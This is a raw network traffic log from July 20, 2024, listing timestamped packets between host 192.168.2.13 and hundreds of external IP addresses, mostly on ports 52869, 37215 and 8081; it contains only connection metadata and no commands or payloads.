Jul 20, 2024 23:05:42.923391104 CEST	52869	43695	185.228.114.119	192.168.2.13
Jul 20, 2024 23:05:42.923397064 CEST	52869	43695	19.122.238.156	192.168.2.13
Jul 20, 2024 23:05:42.923408985 CEST	52869	43695	65.126.152.49	192.168.2.13
Jul 20, 2024 23:05:42.923414946 CEST	52869	43695	92.102.91.3	192.168.2.13
Jul 20, 2024 23:05:42.923427105 CEST	52869	43695	150.92.34.132	192.168.2.13
Jul 20, 2024 23:05:42.923433065 CEST	52869	43695	115.212.16.253	192.168.2.13
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	76.17.233.167
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	106.189.98.231
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	172.220.154.255
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	35.217.8.220
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	47.164.207.56
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	146.195.9.111
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	41.218.182.10
Jul 20, 2024 23:05:42.923460960 CEST	43695	52869	192.168.2.13	162.35.0.137
Jul 20, 2024 23:05:42.923500061 CEST	52869	43695	138.36.245.50	192.168.2.13
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	69.97.88.78
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	95.137.110.156
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	17.218.221.249
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	61.41.81.68
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	32.119.192.25
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	130.63.102.154
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	60.33.145.134
Jul 20, 2024 23:05:42.923548937 CEST	43695	52869	192.168.2.13	13.4.58.138
Jul 20, 2024 23:05:42.923641920 CEST	52869	43695	111.38.150.20	192.168.2.13
Jul 20, 2024 23:05:42.923649073 CEST	52869	43695	46.58.141.254	192.168.2.13
Jul 20, 2024 23:05:42.923661947 CEST	52869	43695	91.181.78.33	192.168.2.13
Jul 20, 2024 23:05:42.923667908 CEST	52869	43695	5.64.221.215	192.168.2.13
Jul 20, 2024 23:05:42.923686981 CEST	52869	43695	116.185.238.207	192.168.2.13
Jul 20, 2024 23:05:42.923691988 CEST	52869	43695	96.189.248.183	192.168.2.13
Jul 20, 2024 23:05:42.923703909 CEST	52869	43695	122.207.219.191	192.168.2.13
Jul 20, 2024 23:05:42.923710108 CEST	52869	43695	18.226.59.173	192.168.2.13
Jul 20, 2024 23:05:42.923722029 CEST	52869	43695	53.252.16.106	192.168.2.13
Jul 20, 2024 23:05:42.924034119 CEST	52869	43695	65.64.172.37	192.168.2.13
Jul 20, 2024 23:05:42.924053907 CEST	52869	43695	187.251.201.224	192.168.2.13
Jul 20, 2024 23:05:42.924063921 CEST	52869	43695	144.182.152.160	192.168.2.13
Jul 20, 2024 23:05:42.924076080 CEST	52869	43695	180.150.138.69	192.168.2.13
Jul 20, 2024 23:05:42.924082994 CEST	52869	43695	89.49.173.55	192.168.2.13
Jul 20, 2024 23:05:42.924096107 CEST	52869	43695	106.236.150.28	192.168.2.13
Jul 20, 2024 23:05:42.924101114 CEST	52869	43695	150.135.62.98	192.168.2.13
Jul 20, 2024 23:05:42.924113989 CEST	52869	43695	92.46.64.178	192.168.2.13
Jul 20, 2024 23:05:42.924135923 CEST	52869	43695	158.100.233.134	192.168.2.13
Jul 20, 2024 23:05:42.924143076 CEST	52869	43695	223.108.234.166	192.168.2.13
Jul 20, 2024 23:05:42.924154997 CEST	52869	43695	31.2.198.168	192.168.2.13
Jul 20, 2024 23:05:42.924160957 CEST	52869	43695	161.35.217.196	192.168.2.13
Jul 20, 2024 23:05:42.924173117 CEST	52869	43695	159.181.120.166	192.168.2.13
Jul 20, 2024 23:05:42.924173117 CEST	43695	52869	192.168.2.13	14.180.52.183
Jul 20, 2024 23:05:42.924173117 CEST	43695	52869	192.168.2.13	40.204.119.127
Jul 20, 2024 23:05:42.924173117 CEST	43695	52869	192.168.2.13	151.167.146.135
Jul 20, 2024 23:05:42.924174070 CEST	43695	52869	192.168.2.13	42.147.52.182
Jul 20, 2024 23:05:42.924174070 CEST	43695	52869	192.168.2.13	54.86.186.245
Jul 20, 2024 23:05:42.924174070 CEST	43695	52869	192.168.2.13	210.202.123.217
Jul 20, 2024 23:05:42.924174070 CEST	43695	52869	192.168.2.13	208.54.219.40
Jul 20, 2024 23:05:42.924179077 CEST	52869	43695	176.85.189.232	192.168.2.13
Jul 20, 2024 23:05:42.924196959 CEST	52869	43695	167.250.89.184	192.168.2.13
Jul 20, 2024 23:05:42.924216032 CEST	52869	43695	212.136.110.23	192.168.2.13
Jul 20, 2024 23:05:42.924227953 CEST	52869	43695	66.180.53.181	192.168.2.13
Jul 20, 2024 23:05:42.924233913 CEST	52869	43695	197.40.245.207	192.168.2.13
Jul 20, 2024 23:05:42.924247026 CEST	52869	43695	101.110.206.115	192.168.2.13
Jul 20, 2024 23:05:42.924252033 CEST	52869	43695	199.180.85.128	192.168.2.13
Jul 20, 2024 23:05:42.924264908 CEST	52869	43695	1.64.15.249	192.168.2.13
Jul 20, 2024 23:05:42.924269915 CEST	52869	43695	87.90.253.110	192.168.2.13
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	98.155.63.7
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	170.49.236.39
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	185.228.114.119
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	19.122.238.156
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	92.102.91.3
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	65.126.152.49
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	150.92.34.132
Jul 20, 2024 23:05:42.924634933 CEST	43695	52869	192.168.2.13	115.212.16.253
Jul 20, 2024 23:05:42.924879074 CEST	52869	43695	61.230.232.242	192.168.2.13
Jul 20, 2024 23:05:42.924890995 CEST	52869	43695	179.34.23.229	192.168.2.13
Jul 20, 2024 23:05:42.924897909 CEST	52869	43695	136.53.47.224	192.168.2.13
Jul 20, 2024 23:05:42.924941063 CEST	52869	43695	132.103.147.191	192.168.2.13
Jul 20, 2024 23:05:42.924947977 CEST	52869	43695	147.13.123.150	192.168.2.13
Jul 20, 2024 23:05:42.924959898 CEST	52869	43695	66.27.204.238	192.168.2.13
Jul 20, 2024 23:05:42.924966097 CEST	52869	43695	53.26.123.55	192.168.2.13
Jul 20, 2024 23:05:42.924978018 CEST	52869	43695	211.237.153.101	192.168.2.13
Jul 20, 2024 23:05:42.924983978 CEST	52869	43695	54.11.15.117	192.168.2.13
Jul 20, 2024 23:05:42.925004005 CEST	52869	43695	210.254.97.122	192.168.2.13
Jul 20, 2024 23:05:42.925014973 CEST	52869	43695	213.168.79.218	192.168.2.13
Jul 20, 2024 23:05:42.925020933 CEST	52869	43695	140.231.6.88	192.168.2.13
Jul 20, 2024 23:05:42.925039053 CEST	52869	43695	91.70.246.106	192.168.2.13
Jul 20, 2024 23:05:42.925044060 CEST	52869	43695	182.237.71.93	192.168.2.13
Jul 20, 2024 23:05:42.925049067 CEST	52869	43695	210.36.186.58	192.168.2.13
Jul 20, 2024 23:05:42.925060034 CEST	52869	43695	139.189.40.221	192.168.2.13
Jul 20, 2024 23:05:42.925071955 CEST	52869	43695	208.214.48.109	192.168.2.13
Jul 20, 2024 23:05:42.925077915 CEST	52869	43695	102.39.62.215	192.168.2.13
Jul 20, 2024 23:05:42.925090075 CEST	52869	43695	37.75.240.126	192.168.2.13
Jul 20, 2024 23:05:42.925096035 CEST	52869	43695	135.248.140.120	192.168.2.13
Jul 20, 2024 23:05:42.925115108 CEST	52869	43695	147.83.200.32	192.168.2.13
Jul 20, 2024 23:05:42.925466061 CEST	52869	43695	166.58.251.38	192.168.2.13
Jul 20, 2024 23:05:42.925472021 CEST	52869	43695	68.231.43.237	192.168.2.13
Jul 20, 2024 23:05:42.925484896 CEST	52869	43695	208.116.151.205	192.168.2.13
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	138.36.245.50
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	46.58.141.254
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	111.38.150.20
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	91.181.78.33
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	5.64.221.215
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	116.185.238.207
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	96.189.248.183
Jul 20, 2024 23:05:42.925585985 CEST	43695	52869	192.168.2.13	18.226.59.173
Jul 20, 2024 23:05:42.925795078 CEST	52869	43695	118.68.52.30	192.168.2.13
Jul 20, 2024 23:05:42.925801039 CEST	52869	43695	199.101.25.86	192.168.2.13
Jul 20, 2024 23:05:42.925813913 CEST	52869	43695	201.121.10.182	192.168.2.13
Jul 20, 2024 23:05:42.925873041 CEST	52869	43695	151.16.139.214	192.168.2.13
Jul 20, 2024 23:05:42.925879002 CEST	52869	43695	112.207.85.211	192.168.2.13
Jul 20, 2024 23:05:42.925890923 CEST	37215	44719	124.216.33.208	192.168.2.13
Jul 20, 2024 23:05:42.925930023 CEST	44719	37215	192.168.2.13	124.216.33.208
Jul 20, 2024 23:05:42.925966978 CEST	52869	43695	42.99.96.202	192.168.2.13
Jul 20, 2024 23:05:42.925973892 CEST	37215	44719	41.97.74.232	192.168.2.13
Jul 20, 2024 23:05:42.925987005 CEST	52869	43695	182.48.70.137	192.168.2.13
Jul 20, 2024 23:05:42.926003933 CEST	37215	44719	41.141.73.194	192.168.2.13
Jul 20, 2024 23:05:42.926011086 CEST	52869	43695	188.221.239.227	192.168.2.13
Jul 20, 2024 23:05:42.926023960 CEST	37215	44719	157.169.48.62	192.168.2.13
Jul 20, 2024 23:05:42.926028967 CEST	52869	43695	135.125.21.122	192.168.2.13
Jul 20, 2024 23:05:42.926042080 CEST	37215	44719	41.50.134.107	192.168.2.13
Jul 20, 2024 23:05:42.926048040 CEST	52869	43695	2.214.164.126	192.168.2.13
Jul 20, 2024 23:05:42.926059961 CEST	37215	44719	197.160.109.122	192.168.2.13
Jul 20, 2024 23:05:42.926064968 CEST	52869	43695	43.221.222.161	192.168.2.13
Jul 20, 2024 23:05:42.926075935 CEST	37215	44719	151.115.104.9	192.168.2.13
Jul 20, 2024 23:05:42.926079988 CEST	44719	37215	192.168.2.13	41.97.74.232
Jul 20, 2024 23:05:42.926080942 CEST	44719	37215	192.168.2.13	41.141.73.194
Jul 20, 2024 23:05:42.926080942 CEST	44719	37215	192.168.2.13	157.169.48.62
Jul 20, 2024 23:05:42.926080942 CEST	44719	37215	192.168.2.13	41.50.134.107
Jul 20, 2024 23:05:42.926095009 CEST	37215	44719	41.67.50.83	192.168.2.13
Jul 20, 2024 23:05:42.926100969 CEST	37215	44719	197.173.225.106	192.168.2.13
Jul 20, 2024 23:05:42.926114082 CEST	37215	44719	41.187.184.255	192.168.2.13
Jul 20, 2024 23:05:42.926119089 CEST	37215	44719	157.60.32.31	192.168.2.13
Jul 20, 2024 23:05:42.926139116 CEST	37215	44719	67.53.45.237	192.168.2.13
Jul 20, 2024 23:05:42.926145077 CEST	37215	44719	41.125.238.188	192.168.2.13
Jul 20, 2024 23:05:42.926150084 CEST	37215	44719	157.76.90.159	192.168.2.13
Jul 20, 2024 23:05:42.926527023 CEST	37215	44719	41.38.46.35	192.168.2.13
Jul 20, 2024 23:05:42.926641941 CEST	37215	44719	197.140.23.105	192.168.2.13
Jul 20, 2024 23:05:42.926647902 CEST	37215	44719	202.227.209.50	192.168.2.13
Jul 20, 2024 23:05:42.926660061 CEST	37215	44719	25.181.47.110	192.168.2.13
Jul 20, 2024 23:05:42.926666021 CEST	37215	44719	157.171.67.165	192.168.2.13
Jul 20, 2024 23:05:42.926677942 CEST	37215	44719	41.113.223.58	192.168.2.13
Jul 20, 2024 23:05:42.926698923 CEST	37215	44719	197.24.91.138	192.168.2.13
Jul 20, 2024 23:05:42.926703930 CEST	37215	44719	71.20.35.154	192.168.2.13
Jul 20, 2024 23:05:42.926716089 CEST	37215	44719	157.35.118.76	192.168.2.13
Jul 20, 2024 23:05:42.926722050 CEST	37215	44719	41.240.77.159	192.168.2.13
Jul 20, 2024 23:05:42.926728010 CEST	8081	43439	121.3.253.56	192.168.2.13
Jul 20, 2024 23:05:42.926739931 CEST	8081	43439	209.34.242.122	192.168.2.13
Jul 20, 2024 23:05:42.926745892 CEST	8081	43439	121.149.130.96	192.168.2.13
Jul 20, 2024 23:05:42.926758051 CEST	8081	43439	31.40.53.45	192.168.2.13
Jul 20, 2024 23:05:42.926764011 CEST	8081	43439	89.3.102.202	192.168.2.13
Jul 20, 2024 23:05:42.926842928 CEST	8081	43439	77.219.164.150	192.168.2.13
Jul 20, 2024 23:05:42.926848888 CEST	8081	43439	221.23.122.130	192.168.2.13
Jul 20, 2024 23:05:42.926861048 CEST	8081	43439	178.250.77.159	192.168.2.13
Jul 20, 2024 23:05:42.926867008 CEST	8081	43439	108.175.64.63	192.168.2.13
Jul 20, 2024 23:05:42.926884890 CEST	8081	43439	189.221.63.100	192.168.2.13
Jul 20, 2024 23:05:42.926889896 CEST	8081	43439	144.128.51.24	192.168.2.13
Jul 20, 2024 23:05:42.926896095 CEST	8081	43439	2.99.117.159	192.168.2.13
Jul 20, 2024 23:05:42.926908016 CEST	8081	43439	156.121.193.100	192.168.2.13
Jul 20, 2024 23:05:42.926913977 CEST	8081	43439	4.251.63.250	192.168.2.13
Jul 20, 2024 23:05:42.926918983 CEST	8081	43439	82.3.201.73	192.168.2.13
Jul 20, 2024 23:05:42.926923990 CEST	8081	43439	178.141.249.196	192.168.2.13
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	122.207.219.191
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	53.252.16.106
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	65.64.172.37
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	187.251.201.224
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	144.182.152.160
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	180.150.138.69
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	89.49.173.55
Jul 20, 2024 23:05:42.927059889 CEST	43695	52869	192.168.2.13	106.236.150.28
Jul 20, 2024 23:05:42.927336931 CEST	8081	43439	101.4.222.81	192.168.2.13
Jul 20, 2024 23:05:42.927344084 CEST	8081	43439	194.234.46.122	192.168.2.13
Jul 20, 2024 23:05:42.927356958 CEST	8081	43439	24.82.211.229	192.168.2.13
Jul 20, 2024 23:05:42.927400112 CEST	52869	43695	167.163.98.112	192.168.2.13
Jul 20, 2024 23:05:42.927406073 CEST	52869	43695	43.51.158.252	192.168.2.13
Jul 20, 2024 23:05:42.927490950 CEST	52869	43695	105.135.184.78	192.168.2.13
Jul 20, 2024 23:05:42.927529097 CEST	52869	43695	150.15.202.10	192.168.2.13
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	197.160.109.122
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	151.115.104.9
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	41.67.50.83
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	197.173.225.106
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	41.187.184.255
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	157.60.32.31
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	41.125.238.188
Jul 20, 2024 23:05:42.927580118 CEST	44719	37215	192.168.2.13	67.53.45.237
Jul 20, 2024 23:05:42.927593946 CEST	52869	43695	161.236.8.179	192.168.2.13
Jul 20, 2024 23:05:42.927601099 CEST	52869	43695	207.60.191.11	192.168.2.13
Jul 20, 2024 23:05:42.927613020 CEST	52869	43695	48.66.150.177	192.168.2.13
Jul 20, 2024 23:05:42.927618980 CEST	52869	43695	46.78.45.208	192.168.2.13
Jul 20, 2024 23:05:42.927629948 CEST	52869	43695	203.241.241.201	192.168.2.13
Jul 20, 2024 23:05:42.927635908 CEST	52869	43695	161.11.228.181	192.168.2.13
Jul 20, 2024 23:05:42.927640915 CEST	52869	43695	167.54.145.81	192.168.2.13
Jul 20, 2024 23:05:42.927647114 CEST	52869	43695	140.169.97.32	192.168.2.13
Jul 20, 2024 23:05:42.927653074 CEST	52869	43695	191.28.127.170	192.168.2.13
Jul 20, 2024 23:05:42.927659035 CEST	52869	43695	186.162.245.57	192.168.2.13
Jul 20, 2024 23:05:42.927683115 CEST	52869	43695	8.40.178.238	192.168.2.13
Jul 20, 2024 23:05:42.927690029 CEST	52869	43695	94.174.75.156	192.168.2.13
Jul 20, 2024 23:05:42.927701950 CEST	52869	43695	50.224.65.140	192.168.2.13
Jul 20, 2024 23:05:42.927707911 CEST	52869	43695	173.7.63.87	192.168.2.13
Jul 20, 2024 23:05:42.927720070 CEST	52869	43695	178.167.86.245	192.168.2.13
Jul 20, 2024 23:05:42.927725077 CEST	52869	43695	88.240.193.116	192.168.2.13
Jul 20, 2024 23:05:42.927742958 CEST	52869	43695	151.233.2.179	192.168.2.13
Jul 20, 2024 23:05:42.927757978 CEST	52869	43695	38.111.50.124	192.168.2.13
Jul 20, 2024 23:05:42.928289890 CEST	52869	43695	200.221.203.167	192.168.2.13
Jul 20, 2024 23:05:42.928297043 CEST	52869	43695	177.150.171.101	192.168.2.13
Jul 20, 2024 23:05:42.928309917 CEST	52869	43695	149.27.116.35	192.168.2.13
Jul 20, 2024 23:05:42.928316116 CEST	52869	43695	128.248.15.101	192.168.2.13
Jul 20, 2024 23:05:42.928354025 CEST	52869	43695	86.176.24.197	192.168.2.13
Jul 20, 2024 23:05:42.928374052 CEST	52869	43695	145.159.39.98	192.168.2.13
Jul 20, 2024 23:05:42.928380013 CEST	52869	43695	99.138.247.46	192.168.2.13
Jul 20, 2024 23:05:42.928391933 CEST	52869	43695	184.204.69.205	192.168.2.13
Jul 20, 2024 23:05:42.928397894 CEST	52869	43695	101.55.243.209	192.168.2.13
Jul 20, 2024 23:05:42.928433895 CEST	52869	43695	59.199.104.166	192.168.2.13
Jul 20, 2024 23:05:42.928440094 CEST	52869	43695	157.233.31.216	192.168.2.13
Jul 20, 2024 23:05:42.928458929 CEST	52869	43695	160.139.135.198	192.168.2.13
Jul 20, 2024 23:05:42.928472042 CEST	52869	43695	50.46.254.201	192.168.2.13
Jul 20, 2024 23:05:42.928477049 CEST	52869	43695	219.110.33.210	192.168.2.13
Jul 20, 2024 23:05:42.928489923 CEST	52869	43695	154.99.42.193	192.168.2.13
Jul 20, 2024 23:05:42.928498030 CEST	52869	43695	52.148.84.244	192.168.2.13
Jul 20, 2024 23:05:42.928504944 CEST	52869	43695	110.216.242.18	192.168.2.13
Jul 20, 2024 23:05:42.928510904 CEST	52869	43695	220.92.67.242	192.168.2.13
Jul 20, 2024 23:05:42.928517103 CEST	52869	43695	210.252.233.178	192.168.2.13
Jul 20, 2024 23:05:42.928523064 CEST	52869	43695	147.58.255.206	192.168.2.13
Jul 20, 2024 23:05:42.928534985 CEST	52869	43695	116.0.99.214	192.168.2.13
Jul 20, 2024 23:05:42.928540945 CEST	52869	43695	130.91.114.118	192.168.2.13
Jul 20, 2024 23:05:42.928560972 CEST	52869	43695	141.48.127.206	192.168.2.13
Jul 20, 2024 23:05:42.928572893 CEST	52869	43695	68.3.197.245	192.168.2.13
Jul 20, 2024 23:05:42.928580046 CEST	52869	43695	39.84.155.186	192.168.2.13
Jul 20, 2024 23:05:42.929335117 CEST	52869	43695	9.199.190.154	192.168.2.13
Jul 20, 2024 23:05:42.929409981 CEST	52869	43695	128.234.115.135	192.168.2.13
Jul 20, 2024 23:05:42.929416895 CEST	52869	43695	107.151.98.255	192.168.2.13
Jul 20, 2024 23:05:42.929513931 CEST	52869	43695	101.187.13.252	192.168.2.13
Jul 20, 2024 23:05:42.929521084 CEST	52869	43695	23.36.177.182	192.168.2.13
Jul 20, 2024 23:05:42.929527044 CEST	52869	43695	82.133.178.243	192.168.2.13
Jul 20, 2024 23:05:42.929533005 CEST	52869	43695	124.245.233.46	192.168.2.13
Jul 20, 2024 23:05:42.929552078 CEST	52869	43695	12.103.224.93	192.168.2.13
Jul 20, 2024 23:05:42.929564953 CEST	52869	43695	201.9.2.115	192.168.2.13
Jul 20, 2024 23:05:42.929570913 CEST	52869	43695	61.119.32.188	192.168.2.13
Jul 20, 2024 23:05:42.929575920 CEST	52869	43695	90.204.174.177	192.168.2.13
Jul 20, 2024 23:05:42.929588079 CEST	52869	43695	82.12.69.219	192.168.2.13
Jul 20, 2024 23:05:42.929594040 CEST	52869	43695	213.239.0.27	192.168.2.13
Jul 20, 2024 23:05:42.929605007 CEST	52869	43695	5.199.108.158	192.168.2.13
Jul 20, 2024 23:05:42.929610968 CEST	52869	43695	133.65.135.99	192.168.2.13
Jul 20, 2024 23:05:42.929617882 CEST	52869	43695	25.254.122.214	192.168.2.13
Jul 20, 2024 23:05:42.929622889 CEST	52869	43695	219.37.148.4	192.168.2.13
Jul 20, 2024 23:05:42.929630041 CEST	52869	43695	181.102.180.63	192.168.2.13
Jul 20, 2024 23:05:42.929636002 CEST	52869	43695	160.130.22.25	192.168.2.13
Jul 20, 2024 23:05:42.929649115 CEST	52869	43695	60.128.151.169	192.168.2.13
Jul 20, 2024 23:05:42.929660082 CEST	52869	43695	185.66.43.17	192.168.2.13
Jul 20, 2024 23:05:42.929665089 CEST	52869	43695	189.247.81.28	192.168.2.13
Jul 20, 2024 23:05:42.929671049 CEST	52869	43695	1.217.0.185	192.168.2.13
Jul 20, 2024 23:05:42.929733992 CEST	52869	43695	148.222.94.245	192.168.2.13
Jul 20, 2024 23:05:42.929740906 CEST	52869	43695	189.113.72.139	192.168.2.13
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	150.135.62.98
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	92.46.64.178
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	158.100.233.134
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	223.108.234.166
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	161.35.217.196
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	31.2.198.168
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	159.181.120.166
Jul 20, 2024 23:05:42.930108070 CEST	43695	52869	192.168.2.13	176.85.189.232
Jul 20, 2024 23:05:42.930488110 CEST	52869	43695	63.73.217.114	192.168.2.13
Jul 20, 2024 23:05:42.930541039 CEST	52869	43695	155.76.196.132	192.168.2.13
Jul 20, 2024 23:05:42.930552959 CEST	52869	43695	179.155.201.69	192.168.2.13
Jul 20, 2024 23:05:42.930558920 CEST	52869	43695	31.151.34.3	192.168.2.13
Jul 20, 2024 23:05:42.930582047 CEST	52869	43695	169.205.145.132	192.168.2.13
Jul 20, 2024 23:05:42.930588007 CEST	52869	43695	175.173.145.122	192.168.2.13
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	157.76.90.159
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	41.38.46.35
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	197.140.23.105
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	202.227.209.50
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	25.181.47.110
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	157.171.67.165
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	41.113.223.58
Jul 20, 2024 23:05:42.930684090 CEST	44719	37215	192.168.2.13	197.24.91.138
Jul 20, 2024 23:05:42.930720091 CEST	52869	43695	119.179.174.4	192.168.2.13
Jul 20, 2024 23:05:42.930727005 CEST	52869	43695	201.15.223.196	192.168.2.13
Jul 20, 2024 23:05:42.930740118 CEST	52869	43695	87.248.86.246	192.168.2.13
Jul 20, 2024 23:05:42.930746078 CEST	52869	43695	20.23.243.102	192.168.2.13
Jul 20, 2024 23:05:42.930757999 CEST	52869	43695	66.201.161.132	192.168.2.13
Jul 20, 2024 23:05:42.930763960 CEST	52869	43695	155.212.15.122	192.168.2.13
Jul 20, 2024 23:05:42.930783033 CEST	52869	43695	130.133.78.229	192.168.2.13
Jul 20, 2024 23:05:42.930794954 CEST	52869	43695	40.53.225.75	192.168.2.13
Jul 20, 2024 23:05:42.930800915 CEST	52869	43695	32.89.148.88	192.168.2.13
Jul 20, 2024 23:05:42.930811882 CEST	52869	43695	132.245.156.197	192.168.2.13
Jul 20, 2024 23:05:42.930818081 CEST	52869	43695	161.112.8.36	192.168.2.13
Jul 20, 2024 23:05:42.930831909 CEST	52869	43695	98.151.155.0	192.168.2.13
Jul 20, 2024 23:05:42.930870056 CEST	52869	43695	187.32.168.161	192.168.2.13
Jul 20, 2024 23:05:42.930876970 CEST	52869	43695	157.163.35.157	192.168.2.13
Jul 20, 2024 23:05:42.930888891 CEST	52869	43695	37.30.22.16	192.168.2.13
Jul 20, 2024 23:05:42.930895090 CEST	52869	43695	221.135.248.99	192.168.2.13
Jul 20, 2024 23:05:42.930907011 CEST	52869	43695	191.187.186.238	192.168.2.13
Jul 20, 2024 23:05:42.930912018 CEST	52869	43695	73.128.253.128	192.168.2.13
Jul 20, 2024 23:05:42.930922985 CEST	52869	43695	80.157.5.176	192.168.2.13
Jul 20, 2024 23:05:42.931607962 CEST	52869	43695	90.219.141.110	192.168.2.13
Jul 20, 2024 23:05:42.931615114 CEST	52869	43695	34.200.92.88	192.168.2.13
Jul 20, 2024 23:05:42.931612015 CEST	51714	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:42.931726933 CEST	37215	44719	197.244.220.89	192.168.2.13
Jul 20, 2024 23:05:42.931740046 CEST	37215	44719	197.251.231.227	192.168.2.13
Jul 20, 2024 23:05:42.931763887 CEST	37215	44719	157.65.167.85	192.168.2.13
Jul 20, 2024 23:05:42.931770086 CEST	37215	44719	113.21.107.163	192.168.2.13
Jul 20, 2024 23:05:42.931782007 CEST	37215	44719	99.188.208.82	192.168.2.13
Jul 20, 2024 23:05:42.931787968 CEST	37215	44719	197.55.249.158	192.168.2.13
Jul 20, 2024 23:05:42.931792974 CEST	37215	44719	41.128.224.64	192.168.2.13
Jul 20, 2024 23:05:42.931798935 CEST	37215	44719	41.232.17.134	192.168.2.13
Jul 20, 2024 23:05:42.932034016 CEST	37215	44719	184.173.82.107	192.168.2.13
Jul 20, 2024 23:05:42.932039976 CEST	37215	44719	157.255.143.206	192.168.2.13
Jul 20, 2024 23:05:42.932053089 CEST	37215	44719	41.89.33.105	192.168.2.13
Jul 20, 2024 23:05:42.932071924 CEST	37215	44719	171.248.172.64	192.168.2.13
Jul 20, 2024 23:05:42.932076931 CEST	37215	44719	197.43.97.58	192.168.2.13
Jul 20, 2024 23:05:42.932081938 CEST	37215	44719	157.23.155.0	192.168.2.13
Jul 20, 2024 23:05:42.932087898 CEST	37215	44719	41.206.98.162	192.168.2.13
Jul 20, 2024 23:05:42.932094097 CEST	37215	44719	197.31.167.242	192.168.2.13
Jul 20, 2024 23:05:42.932106018 CEST	37215	44719	92.155.50.98	192.168.2.13
Jul 20, 2024 23:05:42.932111979 CEST	37215	44719	197.107.136.142	192.168.2.13
Jul 20, 2024 23:05:42.932377100 CEST	37215	44719	41.224.103.104	192.168.2.13
Jul 20, 2024 23:05:42.932383060 CEST	37215	44719	157.2.1.205	192.168.2.13
Jul 20, 2024 23:05:42.932435036 CEST	37215	44719	41.142.74.166	192.168.2.13
Jul 20, 2024 23:05:42.932440996 CEST	37215	44719	197.140.192.70	192.168.2.13
Jul 20, 2024 23:05:42.932452917 CEST	37215	44719	157.130.164.249	192.168.2.13
Jul 20, 2024 23:05:42.932584047 CEST	37215	44719	173.17.184.249	192.168.2.13
Jul 20, 2024 23:05:42.932590008 CEST	37215	44719	157.6.50.167	192.168.2.13
Jul 20, 2024 23:05:42.932602882 CEST	37215	44719	157.30.139.226	192.168.2.13
Jul 20, 2024 23:05:42.932621956 CEST	37215	44719	157.97.8.66	192.168.2.13
Jul 20, 2024 23:05:42.932627916 CEST	37215	44719	157.170.103.18	192.168.2.13
Jul 20, 2024 23:05:42.932634115 CEST	37215	44719	41.214.20.184	192.168.2.13
Jul 20, 2024 23:05:42.932638884 CEST	37215	44719	197.178.77.153	192.168.2.13
Jul 20, 2024 23:05:42.932651997 CEST	37215	44719	157.46.233.240	192.168.2.13
Jul 20, 2024 23:05:42.932657957 CEST	37215	44719	186.185.77.67	192.168.2.13
Jul 20, 2024 23:05:42.932670116 CEST	37215	44719	64.190.69.131	192.168.2.13
Jul 20, 2024 23:05:42.932674885 CEST	37215	44719	189.109.206.172	192.168.2.13
